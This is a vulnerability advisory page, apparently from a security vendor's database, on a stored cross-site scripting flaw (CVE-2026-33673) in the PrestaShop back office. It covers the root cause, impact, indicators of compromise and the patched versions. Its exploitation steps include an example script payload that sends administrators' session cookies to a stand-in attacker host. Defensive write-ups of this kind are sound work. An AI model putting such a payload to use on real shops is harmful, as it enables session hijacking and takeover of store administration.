CVE-2026-33673
PHP vulnerability analysis and mitigation

Overview

CVE-2026-33673 is a stored Cross-Site Scripting (stored XSS) vulnerability affecting PrestaShop, an open-source e-commerce web application. The flaw exists in the Back Office (BO) due to unprotected variables in back-office templates, allowing an attacker with database injection capability to execute malicious scripts in the context of other back-office users. Affected versions include all PrestaShop releases prior to 8.2.5 and versions 9.0.0-alpha.1 through 9.0.x (prior to 9.1.0). The advisory was published on March 23, 2026, with patches released the same day. The GitHub Advisory Database assigns a CVSS v3.1 score of 7.6 (High) (Github Advisory, PrestaShop Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where multiple back-office Smarty/Twig templates render database-sourced variables without proper output encoding or escaping (Github Advisory). An attacker must first be able to inject malicious data into the PrestaShop database — either through limited back-office access (e.g., a restricted employee account) or by chaining with a separate vulnerability such as a SQL injection or file upload flaw. Once malicious data is stored, it is rendered unescaped in back-office pages, causing the injected script to execute in the browser of any administrator or back-office user who views the affected page. No public proof-of-concept exploit code has been identified at this time (PrestaShop Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser session of back-office users, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or further compromise of the PrestaShop installation. Because the scope changes (S:C in CVSS), the impact extends beyond the attacker's initial access level — a low-privilege back-office user could effectively compromise higher-privileged administrator sessions. Confidentiality and integrity of back-office data are both at risk, though availability is not directly impacted (Github Advisory, PrestaShop Advisory).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-33673 as of the available data. The EPSS score is approximately 0.017% (4th percentile), indicating a low near-term exploitation probability (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges and high attack complexity (attacker must already have database write access or chain with another vulnerability), which significantly limits the practical attack surface.

Exploitation steps

  1. Gain database write access: Obtain limited back-office access (e.g., a restricted employee account with product/category editing rights) or exploit a separate vulnerability (e.g., SQL injection, insecure file upload) to inject data into the PrestaShop database.
  2. Inject malicious payload: Insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a database field that is rendered unescaped in a back-office template, such as a product name, category description, or customer field.
  3. Wait for victim interaction: Wait for a privileged back-office user (e.g., a store administrator) to navigate to the affected back-office page that renders the poisoned template variable.
  4. Execute payload: The injected script executes in the administrator's browser context, enabling session cookie theft, credential harvesting, unauthorized admin actions (e.g., creating new admin accounts, modifying store settings), or further lateral movement within the back office (Github Advisory, PrestaShop Advisory).

Indicators of compromise

  • Logs: Unexpected or anomalous entries in PrestaShop back-office access logs showing unusual data submissions to product, category, customer, or other editable entity endpoints; error logs showing script-related rendering anomalies.
  • Database: Presence of HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in database fields such as product names, descriptions, category names, or customer data that do not correspond to legitimate content.
  • Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after accessing back-office pages, potentially carrying session tokens or cookies as query parameters.
  • File System: Unexpected new administrator accounts or modified store configurations that could indicate successful session hijacking following XSS exploitation.

Mitigation and workarounds

PrestaShop has released patched versions 8.2.5 and 9.1.0, both published on March 23, 2026, which address this vulnerability by properly escaping variables in affected back-office templates (PrestaShop 8.2.5 Release, PrestaShop 9.1.0 Release). No configuration-based workarounds are available; upgrading to a patched version is the only remediation (Github Advisory). As an interim measure, administrators should restrict back-office access to the minimum necessary accounts and audit existing employee permissions to reduce the risk of a low-privilege attacker injecting malicious data.

Community reactions

The vulnerability received brief coverage on social media platforms including Mastodon (via @thehackerwire) and Bluesky shortly after disclosure, consistent with routine CVE announcement activity. No significant researcher commentary, vendor statements beyond the official advisory, or major media coverage has been identified for this vulnerability.

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-8cfw-pcwh-v63wHIGH8.4
  • PHP logoPHP
  • winter/wn-system-module
NoYesAug 20, 2026
GHSA-p2ch-c2c3-4xm5MEDIUM6.1
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-fm29-4mq3-phg6MEDIUM5.3
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-hq84-x37p-j6q5MEDIUM4.5
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026
GHSA-mpmw-f6h6-3g26MEDIUM4.3
  • PHP logoPHP
  • winter/wn-backend-module
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management